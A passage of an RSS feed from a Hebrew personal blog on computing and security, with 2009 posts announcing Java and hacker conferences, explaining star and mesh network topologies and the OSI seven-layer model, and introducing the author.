		<description><![CDATA[&#8235;היום הובא לידיעתי כמעט במקרה כנס ג'אווה מקומי, שיכול לעניין (ואולי אפילו יותר מזה) את קהילת המפתחים בג'אווה בישראל. הכנס עצמו ייערך ביוני השנה (22.6.2009, 8:30) בקריית שדה התעופה, שזה במקרה קרוב לביתי. רשמתי ביומן שלי. להרשמה לכנס: חן, 03-7330779, או באתר www.pc.co.il/sun09 הכנס השני אליו תכננתי להגיע זה מכבר הוא כנס ההאקרים הישראלי. כותרת [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>היום הובא לידיעתי כמעט במקרה <a href="http://whatsup.org.il/modules.php?op=modload&amp;name=News&amp;file=article&amp;rss=1&amp;sid=6361" target="_blank">כנס ג'אווה מקומי</a>, שיכול לעניין (ואולי אפילו יותר מזה) את קהילת המפתחים בג'אווה בישראל. הכנס עצמו ייערך ביוני השנה (22.6.2009, 8:30) בקריית שדה התעופה, שזה במקרה קרוב לביתי. רשמתי ביומן שלי.</p>
<p><span class="pn-art">להרשמה לכנס: חן, 03-7330779, או באתר <a href="http://www.pc.co.il/sun09">www.pc.co.il/sun09</a></span></p>
<p><span class="pn-art">הכנס השני אליו תכננתי להגיע זה מכבר הוא כנס ההאקרים הישראלי. כותרת שאפתנית משהו בדיוק כמו <a href="http://www.ilhack.org/2009/?page_id=22" target="_blank">הכנס עצמו</a>, שיתקיים ב24 למאי ויכלול בין השאר הרצאות על ניצול פרצות אבטחה והתגוננות. צריך להיות מאוד מעניין.<br />
</span></p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=28</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8235;טופולוגיות רשת (פיזיות)&#8236;</title>		<link>http://krooc.info/?p=19</link>
		<comments>http://krooc.info/?p=19#comments</comments>
		<pubDate>Fri, 15 May 2009 08:04:16 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[תכנות ואבטחת מידע]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[טופולוגיה]]></category>
		<category><![CDATA[מדריך]]></category>
		<category><![CDATA[רשתות]]></category>

		<guid isPermaLink="false">http://krooc.info/blog/?p=19</guid>
		<description><![CDATA[&#8235;אקדים ואומר שיש בויקיפדיה ערך מצוין לגבי הנושא הזה (ואפילו אחד בעברית), אבל מכיוון שאני רוצה שיהיה גם אצלי אחד כזה, אסביר גם כאן את עיקרי הנושא. טופולוגיה פיזית מתארת את המבנה הפיזי של תשתית הרשת, כלומר לאן מחוברים רכיבי הרשת (שיכולים להיות מחשבים, נתבים או מדפסות וכו'). שימו לב שסוג טופולוגיה זה או אחר [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><blockquote><address>אקדים ואומר שיש בויקיפדיה <a href="http://en.wikipedia.org/wiki/Network_topology" target="_blank">ערך מצוין</a> לגבי הנושא הזה (ואפילו <a href="http://he.wikipedia.org/wiki/%D7%98%D7%95%D7%A4%D7%95%D7%9C%D7%95%D7%92%D7%99%D7%99%D7%AA_%D7%A8%D7%A9%D7%AA">אחד בעברית</a>), אבל מכיוון שאני רוצה שיהיה גם אצלי אחד כזה, אסביר גם כאן את עיקרי הנושא.<br />
</address>
</blockquote>
<p>טופולוגיה פיזית מתארת את המבנה הפיזי של תשתית הרשת, כלומר לאן מחוברים רכיבי הרשת (שיכולים להיות מחשבים, נתבים או מדפסות וכו'). שימו לב שסוג טופולוגיה זה או אחר לא קובע בהכרח משהו על המיקום הפיזי של הרכיבים ורוחב הפס, אם כי יכול להיות שנתונים אלו ישופעו מסוג הטופולוגיה.</p>
<p>שתי הטופולוגיות הנפוצות ביותר הן Star (&quot;כוכב&quot;) וMesh (&quot;מעורב&quot;).</p>
<h2><strong>Star Topology &#8211; טופולוגיית &quot;כוכב&quot;</strong></h2>
<p><strong></strong></p>
<p><strong></strong></p>
<p>טופולוגיה נפוצה ביותר. מהיחידה המרכזית (באיור נצבעה בצהוב) נשלחים כבלים אל כל העמדות. המידע זורם ישירות מהעמדה השולחת אל העמדה המקבלת. בדרך כלל במרכז יימצא רכיב תקשורת כמו נתב, מרכזת (HUB) או מתג (Switch).</p>
<p><strong>יתרונות</strong>:</p>
<ul>
<li>בעיה בחוט המקשר בין רכיב ליחידה המרכזית לא מפיל את כל הרשת</li>
<li>קלה לתחזוקה</li>
<li>ניתן להוסיף ולהסיר ממנה רכיבים בקלות יחסית</li>
</ul>
<p><strong>חסרונות</strong>:</p>
<ul>
<li>בעיה ביחידה המרכזית תגרור הפלה של כל הרשת</li>
<li>דורשת הרבה חיווט, שעלול להיות יקר.</li>
</ul>
<h2><strong><strong>Mesh Topology &#8211; טופולוגיית &quot;מעורב&quot;</strong></strong></h2>
<p>טופולוגיה נפוצה ביותר, נקראת גם &quot;סריג&quot;. כל עמדה מחוברת ישירות למספר רב של עמדות (במידה וכל עמדה מחוברת לכל אחת מהעמדות האחרות, תיקרא הטופולוגיה &quot;מעורב לגמרי&quot; &#8211; Fully Mesh. המידע זורם בין כמה עמדות עד שהוא מגיע ליעד.</p>
<p><strong>יתרונות</strong>:</p>
<ul>
<li>בעיה בחוט אחד לא מפיל את כל הרשת, למידע יש חלופות לעבור בהן</li>
</ul>
<p><strong>חסרונות</strong>:</p>
<ul>
<li>אינה מעשית ברשתות קטנות ו-LAN.</li>
<li>יקרה להחריד</li>
<li>קשה לתחזוק ולהקמה</li>
</ul>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=19</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8235;מודל שבע השכבות &#8211; חלק ראשון&#8236;</title>		<link>http://krooc.info/?p=11</link>
		<comments>http://krooc.info/?p=11#comments</comments>
		<pubDate>Thu, 14 May 2009 16:40:17 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[תכנות ואבטחת מידע]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[רשתות]]></category>
		<category><![CDATA[שבע השכבות]]></category>

		<guid isPermaLink="false">http://krooc.info/blog/?p=11</guid>
		<description><![CDATA[&#8235;מודל שבע השכבות נוצר בראש ובראשונה לתיאור רשתות מחשבים, אבל מכיוון שהמודל הוא מודל תיאורתי המתאר את קו התקן, הוא יכול &#34;להתלבש&#34; דיי בקלות על צורות תקשורת אחרות. עם זאת, אני אסביר כאן תוך התייחסות אך ורק לרשות מחשבים. מודל שבע השכבות, או כפי שהוא מכונה בשפה המקצועית &#8211; מודל ה-OSI, הוא מודל שכבתי שמטרתו [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p><strong>מ</strong><strong>ודל שבע השכבות</strong> נוצר בראש ובראשונה לתיאור רשתות מחשבים, אבל מכיוון שהמודל הוא מודל תיאורתי המתאר את קו התקן, הוא יכול &quot;להתלבש&quot; דיי בקלות על צורות תקשורת אחרות. עם זאת, אני אסביר כאן תוך התייחסות אך ורק לרשות מחשבים.</p>
<p><strong>מודל שבע השכבות</strong>, או כפי שהוא מכונה בשפה המקצועית &#8211; מודל ה-OSI, הוא מודל שכבתי שמטרתו היא להסביר את הפעולות שצריך לבצע בשביל לקיים תקשורת ולהעביר נתונים ברשת. במודל נקבעו דרכי העברת המידע ברשת וכל ספק צריך ליישם את המודל והתקני במוצרים שלו.</p>
<p>המודל עצמו מורכב משבע שכבות, כאשר לכל אחת תפקיד מוגדר ותפקידה של כל שכבה הוא לטפל בנתונים אותה יצרה השכבה שלפניה. חלק מהשכבות עוסקות ברמה הפיסית, חלקן עוסקות באופן מעבר המידע עצמו ברשת וחלקן באופן הגישה למידע. כמו שהתחלתי להגיד, כל שכבה מקבלת מידע מהשכבה שמעליה, מעבדת אותו ובסופו של דבר מעבירה אותו אל השכבה שמתחתיה. כך שלבסוף כל שכבה יוצרת קשר עם השכבות הצמודות אליה &#8211; מלמעלה ומלמטה. לאחר שהמידע הגיע אל השכבה התחתונה ביותר, אחרי כל השינויים הנחוצים, המדיע מועבר אל מחשב היעד, שם הוא זורם בכיוון מעלה, כאשר כל שכבה עוברת פירוש (&quot;קילוף&quot;) של המידע הרלוונטי, ובסופו של דבר השכבה המתקבלת בסוף שבע השכבות זהה לשכבה הראשונית איתה התחלנו.</p>
<p>נסקור את השכבות-</p>
<ul>
<li><strong>שכבת יישום -</strong> אחראית על התקשורת בין המשתמש והמכונה.</li>
<li><strong>שכבת הצגה </strong>- אחראית על עיבוד בקשת המשתמש וקידודה.</li>
<li><strong>שכבת שיחה</strong> &#8211; אחראית על תרגום בקשת המשתמש לשיחה.</li>
<li><strong>שכבת תעבורה</strong> &#8211; אחראית על העברת המידע המתורגם.</li>
<li><strong>שכבת רשת </strong>- אחראית על הדרך שבה הנתונים יעברו ליעד.</li>
<li><strong>שכבת קו </strong>- אחראית להעביר את הנתונים לשכבה הפיזית.</li>
<li><strong>שכבה פיזית </strong>- אחראית שהמידע בסיביות יתורגם למתחים חשמליים ולשידורו.</li>
</ul>
<p>עד כאן החלק הראשון של המדריך. החלק הזה היה תיאורטי בעיקרו.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=11</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8235;&quot;ברוכים הבאים לעולם אחר&quot;&#8236;</title>		<link>http://krooc.info/?p=7</link>
		<comments>http://krooc.info/?p=7#comments</comments>
		<pubDate>Thu, 14 May 2009 14:54:57 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אלון ("הקרוק") עבאדי]]></category>
		<category><![CDATA[כללי]]></category>
		<category><![CDATA[אלון]]></category>

		<guid isPermaLink="false">http://krooc.info/blog/?p=7</guid>
		<description><![CDATA[&#8235;אין לי באמת מושג איך לפתוח את הפוסט הראשון. זה מאורע חגיגי, אבל לא עד כדי כך שצריך להקדיש לו פוסט שלם, אז אני אתחיל בכך שאציג את עצמי &#8211; רבותי, אני אלון, צעיר ישראלי בן תשע-עשרה, שמתעניין מאוד בתעשיית ההייטק, בעולם האינטרנט, המחשוב ואבטחת המידע.&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>אין לי באמת מושג איך לפתוח את הפוסט הראשון. זה מאורע חגיגי, אבל לא עד כדי כך שצריך להקדיש לו פוסט שלם, אז אני אתחיל בכך שאציג את עצמי &#8211; רבותי, אני אלון, צעיר ישראלי בן תשע-עשרה, שמתעניין מאוד בתעשיית ההייטק, בעולם האינטרנט, המחשוב ואבטחת המידע.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=7</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
